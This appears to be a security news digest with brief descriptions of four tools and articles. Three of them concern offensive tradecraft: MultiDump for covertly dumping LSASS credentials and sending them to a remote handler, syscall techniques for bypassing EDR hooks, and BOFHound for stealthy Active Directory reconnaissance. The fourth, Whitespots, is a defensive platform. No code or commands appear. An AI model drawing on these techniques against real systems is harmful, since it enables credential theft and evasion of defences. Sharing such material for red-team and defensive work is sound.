⚙️ MultiDump

This is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly. MultiDump supports LSASS dump via ProcDump.exe or Comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis

👍 Whitespots: Application Security Platform

It’s a really powerful security automation platform for those of us who are working on defense side.

🚀 The platform solves such problems as:
— Issues deduplication (within incremental scans + between different scanners using rules);
— Automated verification (using rules);
— Automated resolving (if the issue doesn’t exist in a new report);
— Running of custom tools in a sequence (like Subfinder -> Naabu -> Httpx-> Nuclei);
— Sequences scheduling.

⚙️ Introduction to Bypassing Hooks EDR

The article explores methods of bypassing EDR hooks in the user mode of the Windows operating system, starting with an explanation of system calls and their role in transitioning between user and kernel modes. Subsequently, various techniques for bypassing hooks are discussed, including direct and indirect syscalls, along with their advantages and potential limitations when used for evading protective mechanisms.

🖼️ BOFHound

This is an offline BloodHound ingestor and LDAP result parser. BOFHound allows operators to utilize BloodHound's beloved interface while maintaining full control over the LDAP queries being run and the spped at which they are executed. This leaves room for operator discretion to account for potential honeypot accounts, expensive LDAP query thresholds and other detection mechanisms designed with the traditional, automated BloodHound collectors in mind.
